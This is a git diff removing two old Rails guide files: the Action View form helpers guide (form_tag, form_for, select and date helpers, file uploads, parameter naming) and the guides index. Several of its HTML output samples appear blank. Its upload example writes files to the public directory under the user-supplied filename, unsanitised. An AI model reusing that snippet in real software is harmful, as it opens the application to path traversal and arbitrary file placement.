----------------------------------------------------------------------------- - -If you carefully observe this output, you can see that the helper generated something you didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the link:./security.html#_cross_site_reference_forgery_csrf[Ruby On Rails Security Guide]. - -NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples. - -A Generic search form -~~~~~~~~~~~~~~~~~~~~~ - -Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: - -1. a form element with "GET" method, -2. a label for the input, -3. a text input element, and -4. a submit element. - -IMPORTANT: Always use "GET" as the method for search forms. This allows users are able to bookmark a specific search and get back to it, more generally Rails encourages you to use the right HTTP verb for an action. - -To create this form you will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively. - -.A basic search form ----------------------------------------------------------------------------- -<% form_tag(search_path, :method => "get") do %> - <%= label_tag(:q, "Search for:") %> - <%= text_field_tag(:q) %> - <%= submit_tag("Search") %> -<% end %> ----------------------------------------------------------------------------- - -[TIP] -============================================================================ -`search_path` can be a named route specified in "routes.rb": - ----------------------------------------------------------------------------- -map.search "search", :controller => "search" ----------------------------------------------------------------------------- -============================================================================ - -The above view code will result in the following markup: - -.Search form HTML ----------------------------------------------------------------------------- -
- - - -
----------------------------------------------------------------------------- - -Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML. - -TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. - -Multiple hashes in form helper calls -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -By now you've seen that the `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. - -As with the `link_to` helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, you cannot simply write this: - -.A bad way to pass multiple hashes as method arguments ----------------------------------------------------------------------------- -form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") -# =>
----------------------------------------------------------------------------- - -Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets: - -.The correct way of passing multiple hashes as arguments ----------------------------------------------------------------------------- -form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") -# => ----------------------------------------------------------------------------- - -This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. - -WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an `expecting tASSOC` syntax error. - -Helpers for generating form elements -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons and so. These basic helpers, with names ending in _tag such as `text_field_tag`, `check_box_tag` just generate a single `` element. The first parameter to these is always the name of the input. In the controller, this name will be the key in the `params` hash used to get the value entered by the user. For example if the form contains - ---------------------------- -<%= text_field_tag(:query) %> ---------------------------- - -then the controller code should use ---------------------------- -params[:query] ---------------------------- -to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values are at the top level of the `params` hash, inside an array or a nested hash and so on. You can read more about them in the <> section. For details on the precise usage of these helpers, please refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html[API documentation]. - -Checkboxes -^^^^^^^^^^ -Checkboxes are form controls that give the user a set of options they can enable or disable: - ----------------------------------------------------------------------------- -<%= check_box_tag(:pet_dog) %> - <%= label_tag(:pet_dog, "I own a dog") %> -<%= check_box_tag(:pet_cat) %> - <%= label_tag(:pet_cat, "I own a cat") %> - -output: - - - - - ----------------------------------------------------------------------------- - -The second parameter to `check_box_tag` is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the `params` hash). With the above form you would check the value of `params[:pet_dog]` and `params[:pet_cat]` to see which pets the user owns. - -Radio buttons -^^^^^^^^^^^^^ -Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one): - ----------------------------------------------------------------------------- -<%= radio_button_tag(:age, "child") %> - <%= label_tag(:age_child, "I am younger than 21") %> -<%= radio_button_tag(:age, "adult") %> - <%= label_tag(:age_adult, "I'm over 21") %> - -output: - - - - - ----------------------------------------------------------------------------- - -As with `check_box_tag` the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and `params[:age]` will contain either "child" or "adult". - -IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. - -Other helpers of interest -^^^^^^^^^^^^^^^^^^^^^^^^^ -Other form controls worth mentioning are the text area, password input and hidden input: - ----------------------------------------------------------------------------- -<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> -<%= password_field_tag(:password) %> -<%= hidden_field_tag(:parent_id, "5") %> - -output: - - - - ----------------------------------------------------------------------------- - -Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript. - -TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating `filter_parameter_logging(:password)` in your ApplicationController. - - -Dealing With Model Objects --------------------------- - -Model object helpers -~~~~~~~~~~~~~~~~~~~~~~ - -A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`. - -For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing: - ---------------------------- -<%= text_field(:person, :name) %> ---------------------------- -will produce output similar to ---------------------------- - ---------------------------- -Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy. - -[WARNING] -============================================================================ -You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. -============================================================================ - -Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the link:./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates[Active Record Validations and Callbacks] guide. - -Binding a form to an object -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object which is exactly what `form_for` does. - -Assume we have a controller for dealing with articles: - -.articles_controller.rb ----------------------------------------------------------------------------- -def new - @article = Article.new -end ----------------------------------------------------------------------------- - -The corresponding view using `form_for` looks like this - -.articles/new.html.erb ----------------------------------------------------------------------------- -<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %> - <%= f.text_field :title %> - <%= f.text_area :body, :size => "60x12" %> - <%= submit_tag "Create" %> -<% end %> ----------------------------------------------------------------------------- - -There are a few things to note here: - -1. `:article` is the name of the model and `@article` is the actual object being edited. -2. There is a single hash of options. Routing options are passed inside `:url` hash, HTML options are passed in the `:html` hash. -3. The `form_for` method yields a *form builder* object (the `f` variable). -4. Methods to create form controls are called *on* the form builder object `f` - -The resulting HTML is: - ----------------------------------------------------------------------------- - - - - - ----------------------------------------------------------------------------- -The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the <> section. - -The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder. - -You can create a similar binding without actually creating `
` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so: -------------- -<% form_for :person, @person, :url => { :action => "create" } do |person_form| %> - <%= person_form.text_field :name %> - <% fields_for @person.contact_detail do |contact_details_form| %> - <%= contact_details_form.text_field :phone_number %> - <% end %> -<% end %> -------------- - -which produces the following output: - -------------- - - - -
-------------- -The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally). - -Relying on record identification -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*. - -When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest: - ----------------------------------------------------------------------------- -## Creating a new article -# long-style: -form_for(:article, @article, :url => articles_path) -# same thing, short-style (record identification gets used): -form_for(@article) - -## Editing an existing article -# long-style: -form_for(:article, @article, :url => article_path(@article), :method => "put") -# short-style: -form_for(@article) ----------------------------------------------------------------------------- - -Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object. - -Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23 the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide. - -WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly. - -Dealing with namespaces -^^^^^^^^^^^^^^^^^^^^^^^ - -If you have created namespaced routes `form_for` has a nifty shorthand for that too. If your application has an admin namespace then -------- -form_for [:admin, @article] -------- -will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: - -------- -form_for [:admin, :management, @article] -------- -For more information on Rails' routing system and the associated conventions, please see the link:./routing_outside_in.html[routing guide]. - - -How do forms with PUT or DELETE methods work? -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. - -Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the desired method: - ----------------------------------------------------------------------------- -form_tag(search_path, :method => "put") - -output: - -
-
- - -
- ... ----------------------------------------------------------------------------- -When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). - - -Making select boxes with ease ------------------------------ - -Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. - -Here is what the markup might look like: - ----------------------------------------------------------------------------- - ----------------------------------------------------------------------------- - -Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. - -The select and options tag -~~~~~~~~~~~~~~~~~~~~~~~~~~ - -The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates an options string: - ----------------------------------------------------------------------------- -<%= select_tag(:city_id, '...') %> ----------------------------------------------------------------------------- - -This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper: - ----------------------------------------------------------------------------- -<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %> - -output: - - - -... ----------------------------------------------------------------------------- - -The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case. - -Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup: - ----------------------------------------------------------------------------- -<%= select_tag(:city_id, options_for_select(...)) %> ----------------------------------------------------------------------------- - -`options_for_select` allows you to pre-select an option by passing its value. - ----------------------------------------------------------------------------- -<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %> - -output: - - - -... ----------------------------------------------------------------------------- - -Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. - -[TIP] -============================================================================ -The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` -- you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. - -============================================================================ - -Select boxes for dealing with models -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`: - ----------------------------------------------------------------------------- -# controller: -@person = Person.new(:city_id => 2) - -# view: -<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> ----------------------------------------------------------------------------- - -Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the `@person.city_id` attribute. - -As with other helpers, if you were to use `select` helper on a form builder scoped to `@person` object, the syntax would be: - ----------------------------------------------------------------------------- -# select on a form builder -<%= f.select(:city_id, ...) %> ----------------------------------------------------------------------------- - -[WARNING] -============================= -If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. - -If you specify `city` instead of `city_id` Active Record will raise an error along the lines of --------- -ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) --------- -when you pass the `params` hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes. - -You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of `attr_protected` and `attr_accessible`. For further details on this, see the link:security.html#_mass_assignment[Ruby On Rails Security Guide]. -============================ - -Option tags from a collection of arbitrary objects -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: - ----------------------------------------------------------------------------- -<% cities_array = City.all.map { |city| [city.name, city.id] } %> -<%= options_for_select(cities_array) %> ----------------------------------------------------------------------------- - -This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively: - ----------------------------------------------------------------------------- -<%= options_from_collection_for_select(City.all, :id, :name) %> ----------------------------------------------------------------------------- -As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`. - ----------------------------------------------------------------------------- -<%= collection_select(:person, :city_id, City.all, :id, :name) %> ----------------------------------------------------------------------------- - -To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`. - -[NOTE] -============================= -Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method. -============================= - -Time zone and country select -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this: - ----------------------------------------------------------------------------- -<%= time_zone_select(:person, :time_zone) %> ----------------------------------------------------------------------------- - -There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods. - -Rails _used_ to have a `country_select` helper for choosing countries but this has been extracted to the http://github.com/rails/country_select/tree/master[country_select plugin]. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails). - -Using Date and Time Form Helpers --------------------------------- - -The date and time helpers differ from all the other form helpers in two important respects: - -1. Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time. -2. Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers. - -Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). - -Barebones helpers -~~~~~~~~~~~~~~~~~ -The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example - ------------ -<%= select_date Date.today, :prefix => :start_date %> ------------ -outputs (with actual option values omitted for brevity) ------------ - - - ------------ -The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example ------------ -Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i) ------------ -The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`. - -Model object helpers -~~~~~~~~~~~~~~~~~~~~ -`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute. -The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: ---------------- -<%= date_select :person, :birth_date %> ---------------- -outputs (with actual option values omitted for brevity) --------------- - - - --------------- -which results in a `params` hash like --------------- -{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} --------------- - -When this is passed to `Person.new` (or `update_attributes`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. - -Common options -~~~~~~~~~~~~~~ -Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html[API documentation]. - -As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in others cases, such as a search form which filters results by date. - -NOTE: In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week. - -Individual components -~~~~~~~~~~~~~~~~~~~~~ - -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate a input named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overriden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. - -The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example - ---------------- -<%= select_year(2009) %> -<%= select_year(Time.now) %> ---------------- - -will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`. - -Uploading Files --------------- -A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing `:multi_part => true` as an HTML option. This means that in the case of `form_tag` it must be passed in the second options hash and in the case of `form_for` inside the `:html` hash. - -The following two forms both upload a file. ------------ -<% form_tag({:action => :upload}, :multipart => true) do %> - <%= file_field_tag 'picture' %> -<% end %> - -<% form_for @person, :html => {:multipart => true} do |f| %> - <%= f.file_field :picture %> -<% end %> ------------ -Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`. - -What gets uploaded -~~~~~~~~~~~~~~~~~~ -The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#\{Rails.root\}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example). - -[source, ruby] ------------------ -def upload - uploaded_io = params[:person][:picture] - File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| - file.write(uploaded_io.read) - end -end ----------------- - -Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are http://github.com/technoweenie/attachment_fu[Attachment-Fu] and http://www.thoughtbot.com/projects/paperclip[Paperclip]. - -NOTE: If the user has not selected a file the corresponding parameter will be an empty string. - -Dealing with Ajax -~~~~~~~~~~~~~~~~~ -Unlike other forms making an asynchronous file upload form is not as simple as replacing `form_for` with `remote_form_for`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission. - -Customising Form Builders -------------------------- - -As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example - ----------- -<% form_for @person do |f| %> - <%= text_field_with_label f, :first_name %> -<% end %> ----------- -can be replaced with ----------- -<% form_for @person, :builder => LabellingFormBuilder do |f| %> - <%= f.text_field :first_name %> -<% end %> ----------- -by defining a LabellingFormBuilder class similar to the following: - -[source, ruby] -------- -class LabellingFormBuilder < FormBuilder - def text_field(attribute, options={}) - label(attribute) + text_field(attribute, options) - end -end -------- -If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option. - -The form builder used also determines what happens when you do ------- -<%= render :partial => f %> ------- -If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead. - -Understanding Parameter Naming Conventions ------------------------------------------ - -[[parameter_names]] -As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` -action for a Person model, `params[:model]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. - -Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. - -[TIP] -======================== -You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example - -------------- -ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" -# => {"name"=>"fred", "phone"=>"0123456789"} -------------- -======================== - -Basic structures -~~~~~~~~~~~~~~~ -The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains ------------------ - ------------------ -the `params` hash will contain - ------------------ -{'person' => {'name' => 'Henry'}} ------------------ -and `params["name"]` will retrieve the submitted value in the controller. - -Hashes can be nested as many levels as required, for example ------------------- - ------------------- -will result in the `params` hash being - ------------------ -{'person' => {'address' => {'city' => 'New York'}}} ------------------ - -Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form: ------------------ - - - ------------------ -This would result in `params[:person][:phone_number]` being an array. - -Combining them -~~~~~~~~~~~~~~ -We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment ------------------ - - - ------------------ -This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash. - -There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter. - -[WARNING] -Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays. - -Using form helpers -~~~~~~~~~~~~~~~~~ -The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take. - -You might want to render a form with a set of edit fields for each of a person's addresses. For example: --------- -<% form_for @person do |person_form| %> - <%= person_form.text_field :name %> - <% for address in @person.addresses %> - <% person_form.fields_for address, :index => address do |address_form|%> - <%= address_form.text_field :city %> - <% end %> - <% end %> -<% end %> --------- -Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this: --------- - - - - -
--------- -This will result in a `params` hash that looks like - --------- -{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}} --------- - -Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created). - -To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example --------- -<% fields_for 'person[address][primary]', address, :index => address do |address_form| %> - <%= address_form.text_field :city %> -<% end %> --------- -will create inputs like --------- - --------- -As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls. - -As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifing `:index => address` so --------- -<% fields_for 'person[address][primary][]', address do |address_form| %> - <%= address_form.text_field :city %> -<% end %> --------- -produces exactly the same output as the previous example. - -Building Complex forms ----------------------- - -Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include: - -* Ryan Bates' series of railscasts on http://railscasts.com/episodes/75[complex forms] -* Handle Multiple Models in One Form from http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf[Advanced Rails Recipes] -* Eloy Duran's http://github.com/alloy/complex-form-examples/tree/alloy-nested_params[nested_params] plugin -* Lance Ivy's http://github.com/cainlevy/nested_assignment/tree/master[nested_assignment] plugin and http://github.com/cainlevy/complex-form-examples/tree/cainlevy[sample application] -* James Golick's http://github.com/giraffesoft/attribute_fu/tree[attribute_fu] plugin - -== Changelog == - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1[Lighthouse ticket] - -.Authors -* Mislav Marohnić -* link:../authors.html#fcheung[Frederick Cheung] diff --git a/vendor/rails/railties/doc/guides/source/index.txt b/vendor/rails/railties/doc/guides/source/index.txt deleted file mode 100644 index bb43b017..00000000 --- a/vendor/rails/railties/doc/guides/source/index.txt +++ /dev/null @@ -1,145 +0,0 @@ -Ruby on Rails Guides -==================== - -These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation: - -* http://guides.rubyonrails.org/[Current Release version] - based on Rails 2.2 -* http://guides.rails.info/[Edge Rails version] - based on the Rails 2.3 branch - -WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress. - -CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket. - -++++++++++++++++++++++++++++++++++++++ -

Start Here

-++++++++++++++++++++++++++++++++++++++ - -.link:getting_started_with_rails.html[Getting Started with Rails] -*********************************************************** -Everything you need to know to install Rails and create your first application. -*********************************************************** - -++++++++++++++++++++++++++++++++++++++ -

Models

-++++++++++++++++++++++++++++++++++++++ - -.link:migrations.html[Rails Database Migrations] -*********************************************************** -This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. -*********************************************************** - -.link:activerecord_validations_callbacks.html[Active Record Validations and Callbacks] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/26[Lighthouse Ticket] - -This guide covers how you can use Active Record validations and callbacks. -*********************************************************** - -.link:association_basics.html[Active Record Associations] -*********************************************************** -This guide covers all the associations provided by Active Record. -*********************************************************** - -.link:active_record_querying.html[Active Record Query Interface] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket] - -This guide covers the database query interface provided by Active Record. -*********************************************************** - -++++++++++++++++++++++++++++++++++++++ -

Views

-++++++++++++++++++++++++++++++++++++++ - -.link:layouts_and_rendering.html[Layouts and Rendering in Rails] -*********************************************************** -This guide covers the basic layout features of Action Controller and Action View, -including rendering and redirecting, using +content_for+ blocks, and working -with partials. -*********************************************************** - -.link:form_helpers.html[Action View Form Helpers] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/1[Lighthouse Ticket] - -Guide to using built in Form helpers. -*********************************************************** - -++++++++++++++++++++++++++++++++++++++ -

Controllers

